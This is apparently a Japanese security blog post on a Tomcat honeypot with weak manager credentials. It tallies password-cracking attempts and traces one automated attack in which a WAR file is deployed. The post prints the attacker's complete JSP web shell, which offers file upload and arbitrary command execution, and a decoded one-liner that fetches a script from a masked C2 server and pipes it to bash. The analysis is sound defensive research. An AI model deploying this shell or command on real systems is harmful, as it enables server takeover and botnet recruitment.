こんとろーるしーこんとろーるぶい

週末にカチャカチャッターン!したことを貼り付けていくブログ

Tomcatの管理機能に対するパスワードクラック後の攻撃を観察する

Apache Tomcatにはデフォルトで管理機能を持つmanagerアプリが配備されており/manager/htmlでアクセスできます。
認証方式にはBASIC認証を採用しています。
(なお、デフォルト設定ではローカルからのアクセスのみ許可する設定が入っています。)

ハニーポットには、この管理機能を狙ったBASIC認証のパスワードクラックのアクセスが高頻度で着弾します。
こういうときに「なら、本当にログインできたら、お前ら(攻撃者)どうするつもりなの?」と思うのは自然な発想ですね。

ということで、パスワードクラックされやすいID/パスワードを設定したTomcat環境を用意して観察しました。

環境

先日公開した高対話型ハニーポットのBW-Potを使用しました。

github.com

サーバはAmazon EC2を使用しています。

ID/Passwordには、設定値のサンプルとして使われているtomcat/s3cretを設定しました。

パスワードクラックの件数推移

まず、パスワードクラックの成功と失敗の数を集計しました。
/manager/htmlへのアクセスを条件に集計しています。

年月日 成功 失敗
20190113 5 40
20190114 3 27
20190115 0 1
20190116 9 83
20190117 2 18
20190118 4 20
20190119 2 18
20190120 5 36
20190121 5 36
20190122 1 2
20190123 2 24
20190124 0 3
20190125 2 22
20190126 2 19
20190127 6 55
20190128 0 4
20190129 2 20
20190130 0 1
20190131 0 1
20190201 2 20
20190202 1 2
合計 53 482

成功率11%です。すごく優秀な数値ですね。
tomcat/s3cretは絶対に使用してはいけないことがよくわかります。

攻撃の流れ

BASIC認証を突破し管理機能が使用されたログを確認したのは1/18でした。
その後、1/20、1/21、1/22、2/2にも同様の攻撃を確認しています。

1/18~1/22はハニーポットの設定がいまいちで最後まで追いきれなかったので、2/2の攻撃を紹介します。

1. 事前確認

まず、/admin-manager/admin.jspへPOSTリクエストがありました。
リクエストボディにはact=SIがセットされていました。

このリクエストの正体は後述します。

2. BASIC認証の突破

次に、/manager/htmlBASIC認証の認証リクエストがありました。

ID/Passwordにtomcat/s3cretがセットされていたため、認証に成功しています。
こちらのリクエストの前後ではID/Passwordを複数試すログは確認しておらず、一発で認証に成功しています。
この日以前のパスワードクラック攻撃にて、認証に成功するID/Passwordを特定済みだったものと推察されます。

3. WARファイルのアップロードとデプロイ

BASIC認証に成功後に表示されるTomcatの管理機能には、Webアプリケーションを固めたWARファイルをアップロードしてデプロイする機能があります。

その機能を利用してadmin-manager.warというファイルをアップロードするリクエストがありました。

WARファイルの中身は、admin.jspというJSPファイルが1つあるだけです。
タイムスタンプが偽装されているかもしれませんが、ファイルの更新日時は2015年10月22日 ‏3:33:43で、だいぶ古いです。
本当に古いのか、管理者による発見を抑止のために古いタイムスタンプを設定しているかは不明です。

JSPファイルのコードは以下の通りです。

<%@ page import="java.util.*,java.io.*,java.net.*" pageEncoding="UTF-8"%><%!
class Base64Encrypt {
    String CODES = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";

    byte[] Base64Decode(String input) {
        byte decoded[] = new byte[((input.length()*3)/4) - (input.indexOf('=') > 0 ? (input.length() - input.indexOf('=')) : 0)];
        char[] inChars = input.toCharArray();
        int j = 0;
        int b[] = new int[4];
        for (int i=0; i<inChars.length; i+=4) {
            b[0] = CODES.indexOf(inChars[i]);
            b[1] = CODES.indexOf(inChars[i+1]);
            b[2] = CODES.indexOf(inChars[i+2]);
            b[3] = CODES.indexOf(inChars[i+3]);
            decoded[j++] = (byte) ((b[0] << 2) | (b[1] >> 4));
                if (b[2] < 64) {
                    decoded[j++] = (byte) ((b[1] << 4) | (b[2] >> 2));
                    if (b[3] < 64) {
                        decoded[j++] = (byte) ((b[2] << 6) | b[3]);
                }
            }
        }
        return decoded;
    }

    String Base64Encode(byte[] in)
    {
        StringBuilder out = new StringBuilder((in.length*4)/3);
        int b;
        for (int i=0; i<in.length; i+=3) {
            b = (in[i] & 0xFC) >> 2;
            out.append(CODES.charAt(b));
            b = (in[i] & 0x03) << 4;
            if (i+1 < in.length) {
                b |= (in[i+1] & 0xF0) >> 4;
                out.append(CODES.charAt(b));
                b = (in[i+1] & 0x0F) << 2;
                if (i+2 < in.length) {
                    b |= (in[i+2] & 0xC0) >> 6;
                    out.append(CODES.charAt(b));
                    b = in[i+2] & 0x3F;
                    out.append(CODES.charAt(b));
                } else {
                    out.append(CODES.charAt(b));
                    out.append('=');
                }
            } else {
                out.append(CODES.charAt(b));
                out.append("==");
            }
        }
        return out.toString();
    }
}
%><% 
String Action = request.getParameter("act");
String Parameter1 = request.getParameter("p1");
String Parameter2 = request.getParameter("p2");
//String CurrentDir = request.getRealPath("/");
//String CurrentDir = application.getRealPath("/");
String CurrentDir = request.getSession().getServletContext().getRealPath("/");
if (Action != null)
{
    if (Action.equals("SI"))
    {
        // SysInfo
        String PcName = System.getenv("COMPUTERNAME");
        if (PcName==null) PcName = System.getenv("HOSTNAME");
        if (PcName==null) {
            try {
                PcName = InetAddress.getLocalHost().getHostName();
            } catch (UnknownHostException e) {
                //e.printStackTrace();
            }
        }
        if (PcName==null) {
            File f = new File("/etc/hostname");
            if (f.exists()) {
                BufferedReader br=new BufferedReader(new InputStreamReader(new FileInputStream(f)));
                PcName=br.readLine();
                br.close();
            }
        }

        String SysInfo = "Hello, Peppa!|" + System.getProperty("os.name") +" "+ System.getProperty("os.version") +" "+ System.getProperty("os.arch") +" + "+ PcName +":"+ System.getProperty("user.name") +" + "+ request.getRealPath(request.getServletPath())+"|";
        out.print(SysInfo);
    }
    else if (Action.equals("UF"))
    {
        // UpFile
        if (Parameter1!=null && Parameter2!=null)
        {
            byte[] Binary = new Base64Encrypt().Base64Decode(Parameter2);
            FileOutputStream fos = new FileOutputStream(CurrentDir+Parameter1);
            if (fos != null)
            {
                fos.write(Binary);
                fos.close();
            }
        }
    }
    else if (Action.equals("SH") && Parameter1!=null)
    {
        // Shell
        //response.setContentType("text/html");
        out.println("<Pre>");

        String Command = Parameter1;
        if (Parameter2!=null && Parameter2.equals("True"))
        {
            byte[] Binary = new Base64Encrypt().Base64Decode(Parameter1);
            Command = new String(Binary);
        }
        out.println(">"+Command);
        Command += " 2>&1";

        try {
            boolean IsWin = true;
            String[] CmdLine = new String[]{"cmd.exe","/c",Command};

            if (System.getProperty("file.separator").equals("/")) {
                IsWin = false;
                CmdLine = new String[]{"/bin/bash","-c",Command};
            }

            File WorkDir = new File(CurrentDir);

            Process p = Runtime.getRuntime().exec(CmdLine, null, WorkDir);

            BufferedReader br = new BufferedReader(new InputStreamReader(p.getInputStream()));
            String d = br.readLine();
            while (d != null)
            {
                out.println(d);
                d = br.readLine();
            }
        }
        catch (Exception e)
        {
            out.print("[-] Exception: "+e.toString());
        }
    }
}
%>

このJSPには3つの機能があることがわかります。actパラメータで機能を指定します。

①システム情報確認機能
act=SIを指定すると動作する機能です。System Informationの略でしょうか。
OS情報、コンピュータ名、ユーザ名等の情報を返します。

②ファイル作成機能
act=UFを指定すると動作する機能です。Upload Fileの略でしょうか。
BASE64エンコードした文字列を送信すると、デコードしてファイルに書き出します。

③コマンド実行機能
act=SHを指定すると動作する機能です。Shellの略でしょうか。
任意のコマンドを実行します。WindowsLinuxかを判別してcmd.exe/bin/bashかを切り替えます。
BASE64エンコードしたコマンド文字列にも対応しています。

前述の1回目のリクエストは、このJSPが既に配備されていることの確認を目的としたものと推察されます。

4. システム情報確認

admin-manager.warがデプロイされた後、/admin-manager/admin.jspへPOSTリクエストがありました。
リクエストボディにはact=SIがセットされていました。
1回目のリクエストと同じです。

このリクエストに対しては以下のレスポンスを返却しました。
Hello, Peppa!|Linux 4.15.0-1032-aws amd64 + XXXXXXXXXXXX:root + /usr/local/tomcat/webapps/admin-manager/admin.jsp|

5. C2サーバとの通信および攻撃コード実行

システム情報確認後、/admin-manager/admin.jspへPOSTリクエストがありました。
リクエストボディには以下のデータがセットされていました。

act=SH&p2=True&p1=<BASE64エンコード文字列>

BASE64デコードすると以下のコマンドになります。

(wget -U "Mozilla/WGET" -q -O- http://XXX.XXX.XXX.XXX/Update/New/i.php ||
  curl -A "Mozilla/CURL" -fsSL http://XXX.XXX.XXX.XXX/Update/New/i.php ||
  python -c "from urllib2 import urlopen,Request;print(urlopen(Request('http://XXX.XXX.XXX.XXX/Update/New/i.php',None,{'User-Agent':'Mozilla/Python2'})).read());") 
| /bin/bash

※適当なところで改行を挟んでいます。IPアドレスはマスク化しています。

C2サーバから次の攻撃コード(シェルスクリプト想定)をダウンロードして実行しようとしています。 ダウンロードしてきた攻撃コードをそのまま/bin/bashに渡して実行することで、サーバ上にファイルを残さないようにしています。

このC2サーバの攻撃コードですが、C2サーバから404が返却されたため、実行は未遂に終わりました。
但し、配備され次第、攻撃コード実行によりDDOS攻撃等へ加担してしまう可能性が高く、いわゆるボットネットに組み込まれたと推察されます。

タイムライン

一連のリクエストのタイムラインは以下の通りです。

No 日時 イベント
1 2019-02-02 00:18:59 /admin-manager/admin.jspact=SIでアクセス。未デプロイのため失敗。
2 2019-02-02 00:18:59 /manager/htmlにアクセス。BASIC認証成功。
3 2019-02-02 00:19:00 admin-managerをアップロード、デプロイ。成功。
4 2019-02-02 00:19:05 /admin-manager/admin.jspact=SIでアクセス。成功。
5 2019-02-02 00:19:06 /admin-manager/admin.jspact=SHでアクセス。コマンド実行は成功するがC2サーバから404を返却。

リクエストの時間を見ると、認証成功後の攻撃も完全に自動化していることがわかります。

まとめ

約1カ月ほどで観察できたTomcatを対象としたパスワードクラック後の攻撃パターンは、今回紹介した1パターンのみでした。
パスワードクラックの試行数および成功数と比べると意外に少ないと感じています。他は、研究者によるリサーチ目的か、攻撃者が一旦脆弱なサーバであることを把握した上で次のアクションのタイミングを別途狙っているのでしょうか。

ただ、ログイン可能なID/Passwordが特定されている状態では、自動で速やかに不正なアプリケーションをデプロイされ、ボットネットに組み込まれることがわかりました。

また、実は、/admin-manager/admin.jspの①システム情報確認機能が返却するHello, Peppa!というキーワードと、C2サーバのhttp://XXX.XXX.XXX.XXX/Update/New/i.phpのURLは、前回の記事で紹介したPHPのWebShellと同じものでした。

つまり、"特定の攻撃者"が、異なる言語やプラットフォームに対してあの手この手でスキャンおよび攻撃を仕掛けてきており、最終的に実行させられる攻撃コードは同じ(C2サーバは同じ)であることがわかりました。

今後も継続して観察を続けます。